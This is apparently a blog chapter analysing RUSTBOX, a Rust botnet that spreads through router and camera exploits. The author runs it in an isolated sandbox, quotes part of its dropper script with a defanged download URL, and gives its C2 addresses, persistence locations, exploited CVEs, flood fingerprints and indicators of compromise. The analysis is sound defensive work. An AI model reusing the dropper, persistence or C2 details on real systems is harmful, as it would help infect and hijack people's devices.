Superior · Chapter 37
Memory safe
The same server that was handing out Superior served another bot one day, written in Rust and with a motto on the door: "memory safe. system optimized." I put it in a sealed cage, made it believe its server was answering, and it told me everything. The most useful part isn't what it does when it's given commands, but what it does without them.
On 8 November, between two versions of Superior's installer, the same address served something else. The server introduced itself as Server: rustbox and the script was shorter:
T="rustbox"
P=linux
if [ -d /data/local/tmp ] || [ -f /system/build.prop ]; then P=android; fi
U="hxxp://77.239.124[.]167:8080/rbx/$P-$A"
# Detach the node and cut its stdio: an ADB shell must never wait on a
# downloaded binary that is still running. The node re-execs from memfd
# before it daemonizes, so removing the on-disk copy is safe.
./"$N" "$T" >/dev/null 2>&1 </dev/null &
sleep 1
rm -f "$N"It checks whether it's on Android or Linux and on which processor, downloads the matching binary, launches it with the label rustbox and deletes the copy from disk. And it explains all this in the same careful English as Superior's scripts, in this case with whoever launches it over ADB in mind.
This bot didn't reach the decoy. The eight binaries in /rbx/ were reported to URLhaus by someone else that same day, and from there I got them off MalwareBazaar; the script is the copy urlscan kept when it scanned it. What I did with them starts after that. The first thing it prints when it starts up is its motto:
rustbox: memory safe. system optimized.RUSTBOX the second bot of the Superior campaign
- sha256
- e77b2c68…25898
- Type
- Rust, rustc 1.99.1 from 13 October 2026; static with musl on Linux, NDK on Android
- Builds
- eight: Linux and Android for arm7, aarch64, x86 and x86_64, from 0.6 to 1 MB
- Where from
- reported to URLhaus by a third party; collected from MalwareBazaar
- Antivirus
- "trojan.mirai", and "trojan.hajime/mirai" on other builds: the same generic bucket
01What you see without switching it on
It's a tidy Rust project: a workspace with two pieces, the bot and a shared library holding the cryptography, and inside the bot one module per task (the floods, the persistence, the reports, the self-propagation and the session with the server). It was compiled as root, with a compiler from 13 October: RUSTBOX is from mid-October or later. There are no user names, no personal paths, nothing that points to a person.
Unlike Superior, it doesn't hide its configuration: the server is in the clear, coolcams.duckdns.org,77.239.124.167, on TCP 29444. Set next to Superior, it looks alike in what it does to the machine and parts ways in almost everything else:
Superior RUSTBOX
language C Rust
server coolcams.duckdns.org the same, plus the backup IP
fixed ADB port 12108 12108
supervisor /data/local/tmp/.srvc /data/local/tmp/.srvc
start-up re-executes from memory likewise
disguise kernel threads kworker/u8:2
watchdog yes yes, plus a separate watcher
configuration XOR-encrypted in the clear
reports in the clear, to separate ports inside the encrypted session
its server authenticates it doesn't authenticate it
propagation Telnet with 45 passwords seven router and camera exploits
screen, apps,
file theft yes no
commands shell via its console (off) no shell, no downloads, no theftThat last line matters: according to its static analysis, RUSTBOX has no command for a remote shell, for downloading or for arbitrary execution, nor for proxying, file theft or the screen. Its server can ask it for attacks, to stop them, changes to its internal control, to repair its persistence or to remove itself, and check that it's still alive. Nothing else.
And so does the server row. Superior carries its operator's public key inside, and its session requires the operator's private key. RUSTBOX doesn't: it doesn't check who it's talking to. Anyone who takes its server's place can talk to it. That's what allowed me to do it, and it's what would make it feasible to divert its connections to a sinkhole and leave the operator without them. How, exactly, I'm not telling.
The same operator, with high confidence: the same server and the same command port, the same ADB port, the same supervisor, the same English and the same address serving one bot or the other depending on the day. There's more: among the ports RUSTBOX refuses to touch is 29596, the one Superior looks for as superior-ui, and Superior's installer already marked its replies with RBX_. That RUSTBOX descends from Superior's code, on the other hand, I can't claim: the code is different, and the cryptography, although it uses the same pieces, is put together another way. It may be a rewrite with the same design or a different bot that the same operator also runs.
02In the cage
I put the Linux build for x86_64 into a cage made for this: a virtual machine with no network card, with a fake network inside that answers everything, and a monitor inside the kernel that sees every single thing the bot does, and is protected from it: when the bot tried to look at the monitor's data, the system refused. I launched it the way its script launches it, with the label rustbox, and left it for five minutes. Almost two million events, nine processes:
start-up prints its motto, copies itself to memory and re-runs from there
as kworker/u8:2
persistence an enabled systemd service, init.d, rc.local, cron.d,
crontab with @reboot and root's crontab, profile.d, .profile,
.bashrc, .zshrc and a desktop autostart entry
everything launches /usr/local/bin/.rustbox boot, nearly all with the mark "# rustbox"
copies /usr/local/bin/.rustbox, /root/.rustbox, /tmp/.rbx, /var/tmp/.rbx
and /var/tmp/.rbx_<pid>
watchers a separate process watching the main one via a heartbeat in /dev/shm;
the bot itself also opens the system watchdog
ports occupies twelve ports other bots use, so they can't open them
rivals checks the processes one by one, tens of thousands of times
server connects to 77.239.124.167:29444, introduces itself with a
52-byte greeting that starts with RBX1, and waits
propagation 811,261 targets in five minutes, on ports 80, 8080, 37215 and 52869Almost all of that it writes down in a record of its own, .rbx_ledger: the copies, the files it creates and the ones it edits. It probably uses it to repair its persistence if someone touches it; it certainly uses it, as we'll see, to uninstall itself.
The propagation isn't Telnet, as it is in Superior: these are web exploits against routers and cameras. Besides random addresses, it tries the local network: 192.168.0.1, 192.168.1.1 and 192.168.1.64, which is the factory IP of Hikvision cameras. Each exploit, if it works, makes the victim fetch a script from coolcams.duckdns[.]org/s?t= with a label naming the route it got in through. The same funnel as Superior, now by exploit.
According to its code, it also blocks attempts to reboot or shut down the machine; in the cage nobody tried, so that wasn't seen. Nor did I test that its persistence survives a reboot, something that with Superior was seen, on the TV.
The killer, which hunts 36 rival families, needs a correction from me. The monitor logged some 74,000 checks on other processes and I, at first, read them as attempts to debug them. They weren't: they're reads of process data (which executable is running, from where, whether its image has been deleted or whether it runs from memory). With that it scores each one and, if it decides it's a rival, kills it. On a clean machine, it killed nobody. The only thing it was refused was reading the monitor's own data.
With the server, nothing more happened. The fake network doesn't speak its protocol, so it spent almost four minutes without an answer. To see the rest, it had to be answered.
03Talking to it
Since RUSTBOX doesn't check who it's talking to, I wrote a fake command server and put it inside the same cage, where the fake network answered in place of its server. I'm not publishing that program: the same code would work for controlling real bots. And the script I gave it was harmless on purpose: check that it was alive, ask it to repair its persistence and ask it to stop. Not one attack command.
It worked first time. The bot completed the greeting, accepted my server as its own and started telling it everything: some 2,200 reports in one session. These are the ones that matter:
[SYS]|arch=x86_64|cores=2|ram=…|uid=0|root=1|pid=…|killer=1|kills=0|floods=0|selfrep=…|host=…
[PERSIST]installed=15|exe=/usr/local/bin/.rustbox|uid=0
[WATCHDOG]hw: off dev=/dev/watchdog id=rustbox
[LOCKER]squat=23,2323,7547,9001,6667,7777,4444,31337,37215,52869,3333,1337 # each one, "held"
[SELFREP]vec=…|name=…|ip=…|state=winThe [SELFREP] one is the most useful, because it names each propagation route with a label, and in five of the seven the label carries the CVE number. Seven routes, eight CVEs:
label device CVE
realtek_8361 routers with the Realtek SDK (UPnP) CVE-2014-8361
gpon_10561 GPON ONT (Dasan) CVE-2018-10561 and CVE-2018-10562
hikvision_36260 Hikvision cameras and recorders CVE-2021-36260
draytek_8515 DrayTek Vigor 2960, 3900 and 300B CVE-2020-8515
tplink_1389 TP-Link Archer AX21 CVE-2023-1389
netgear_6077 Netgear DGN1000 CVE-2024-12847
huawei_hg532 Huawei HG532 (the Satori route) CVE-2017-17215They're all command injections in routers and cameras, and old ones. And there's a slip by the author: the label netgear_6077 points to a different vulnerability, in a different program and one that requires being authenticated, but what the code does is the DGN1000 setup.cgi flaw, which asks for nothing: CVE-2024-12847, disclosed in 2013 and numbered since 2024. I confirmed it three ways: its routine in the binary, the public databases and the request it sent inside the cage. I'm not publishing the exact requests.
A warning for anyone who sees its counter. Inside the cage it sent me more than 2,100 state=win in five minutes, because the fake network answers everything. Any honeypot or sandbox that answers it as if the exploit had worked inflates its tally (although it discards replies that mention cowrie, kippo, dionaea, glastopf, conpot, tarpit, canary, shadowserver, honeypot or sinkhole). Its wins aren't infections.
What I didn't ask it to do was attack. The attacks, according to its code, are four families (UDP floods, TCP connections, hand-crafted TCP packets and a TLS client) with variants: 9 identifiers in its Linux build for ARM64 and 27 in the Android one, which aren't 27 different techniques. One of the variants is an HTTP/2 flood that imitates Chrome 131 quite carefully, and that leaves a fingerprint: sec-ch-ua "Chromium";v="131", Accept-Encoding: gzip, deflate, br, zstd, upgrade-insecure-requests and the preamble PRI * HTTP/2.0. There's an HTTP/1.1 one too, there's no HTTP/3, and it launches at most eight attacks at once. One of the UDP generators uses a template that looks like SSDP; that it can be used for amplification hasn't been verified.
And there's a loose end. I sent it the command to repair its persistence over the encrypted session, but it didn't answer with the repair report it has in its code, and it touched nothing it hadn't touched already. Maybe in this build that command carries a different number, or it says nothing if the persistence is intact. I don't know.
04No master, all the same
The most useful part came from comparing the two detonations: the one with the silent network and the one with my fake server. They're almost identical. The same seven programs launched, roughly the same files opened, some 811,000 propagation connections in both, the same process checks.
In other words: the persistence, the copy in memory, the watchers, the killer, occupying the ports and all the propagation happen at start-up, without any command. What a live server adds is little: the bot telling it what it does, and attacking when asked to.
A practical consequence follows from this: blocking its server, or diverting it to a sinkhole, doesn't clean an infected machine. It takes away the operator's view and the on-demand attacks, which is no small thing. But the bot is still installed, still defending itself and still trying to infect other machines. To clean it, you have to touch the machine.
05Removed is not clean
RUSTBOX has a command to remove itself. Its routine can be read in the code and checked against its record and against what it left in the cage. It does this: stops its jobs, kills its watcher, walks through its .rbx_ledger, disables the systemd service, deletes the files it created and, in the ones it edited, removes its marked lines. When it's done, it reports:
[PERSIST]state=clearedScreenshot: the self-removal, in GhidraGhidra
And, according to its code, that wouldn't be entirely true. Simulating its filter on the cage's files, this is what would be left:
/etc/crontab, /root/.bashrc, /root/.profile restored just as they were
/etc/rc.local, /root/.zshrc empty: it created them itself, but recorded them as edited,
and removing its lines leaves them blank
/var/tmp/.rbx_<pid>, the heartbeat, the lock the routine doesn't touch them: they're not in the record
the cron spool doesn't go back to how it was beforeThere are two more details. If it finds two marks in a row, it also takes the line that comes after the second one. And the state=cleared can come out even if it couldn't delete its own record: it means the routine reached the end, not that the machine has been left clean. A bot saying it's gone isn't the same as it being gone.
06Indicators
Superior's are in chapters 35 and 36. These are RUSTBOX's.
| Type | Value |
|---|---|
| Delivery | hxxp://77.239.124[.]167:8080/rbx/{linux,android}-{arm7,aarch64,x86,x86_64} · header Server: rustbox · script /s with T="rustbox" that saves the binary as .rbx.<platform>.<architecture> and deletes it after launching it |
| C2 | coolcams.duckdns.org and 77.239.124.167, TCP 29444 · 52 B greeting starting with RBX1 |
| Propagation second stage | hxxp://coolcams.duckdns[.]org/s?t=<route> · routes realtek_8361, gpon_10561, hikvision_36260, draytek_8515, tplink_1389, netgear_6077, huawei_hg532 |
| Exploited CVEs | CVE-2014-8361 · CVE-2017-17215 · CVE-2018-10561 · CVE-2018-10562 · CVE-2020-8515 · CVE-2021-36260 · CVE-2023-1389 · CVE-2024-12847 |
| Linux persistence | rustbox.service (Restart=always) · /etc/init.d/rustbox and 99rustbox · root's crontab · /etc/rc.local · /etc/cron.d/rustbox · /etc/crontab (@reboot) · /etc/profile.d/rustbox.sh · .profile, .bashrc, .zshrc · ~/.config/autostart/rustbox.desktop · mark # rustbox · everything launches /usr/local/bin/.rustbox boot |
| Android persistence (static) | /system/etc/init/rustbox.rc · Magisk module /data/adb/modules/rustbox (author=rustbox) · /data/local/tmp/.srvc · ADB on TCP 12108 |
| Copies and files | /usr/local/bin/.rustbox, /root/.rustbox, /tmp/.rbx, /var/tmp/.rbx, /var/tmp/.rbx_<pid> (on Android also /data/local/tmp/.rbx, /data/adb/.rbx, /data/data/.rbx, /sdcard/.rbx) · .rbx_ledger, .rbx_lock, /dev/shm/.rbx_hb_<pid>, .rbx_wd.lock |
| Processes | kworker/u8:2 from memory · a second process with --watchdog · opens /dev/watchdog |
| Occupied ports | 23, 2323, 7547, 9001, 6667, 7777, 4444, 31337, 37215, 52869, 3333, 1337 |
| HTTP/2 flood | sec-ch-ua "Chromium";v="131" · Accept-Encoding: gzip, deflate, br, zstd · upgrade-insecure-requests · preamble PRI * HTTP/2.0 |
| Strings | rustbox: memory safe. system optimized. · report tags [SYS], [PERSIST], [WATCHDOG], [LOCKER], [SELFREP], [KILL], [REBOOT]|state=blocked, [BW], [CTL], [REPAIR] · variables RUSTBOX_NO*, RBX_TAG, RBX_MEMFD |
| SHA-256 | linux-x86_64 e77b2c6872dda6b1588160c640ee7906231d2acfe70a8dd5676f5ccff3825898 · linux-aarch64 28cd43f5dd1aaf575f067fa9eac5d999ddc26b35c5809d427a6cc137e4713555 · android-aarch64 a0ddfe358cad4c8083714756fc154141e1ec12015b59c512d232f82437a695c5 · /s 17e90ec85b3da3ef6bad84d0a04af7b648a385364c9a77ee1a3a2f58836a5322 · another build of .rbx.linux.x86_64 that VirusTotal saw on 7 Nov (not analysed) 88466d25ef2de742baad70b68f65e0d3d0f1741723a2ee44043f273b8591b8f2 |
On an infected machine, the fact that it has stopped talking to its server means nothing. What gives it away is on the machine itself: a kworker/u8:2 that doesn't belong to the kernel, twelve bot ports occupied by one and the same process and a .rbx_ledger keeping count of everything it touched.
To be continued - the decoy stays lit. If the operator decides which bot each box gets, the next one to knock on the door will tell which. 🍯

Comments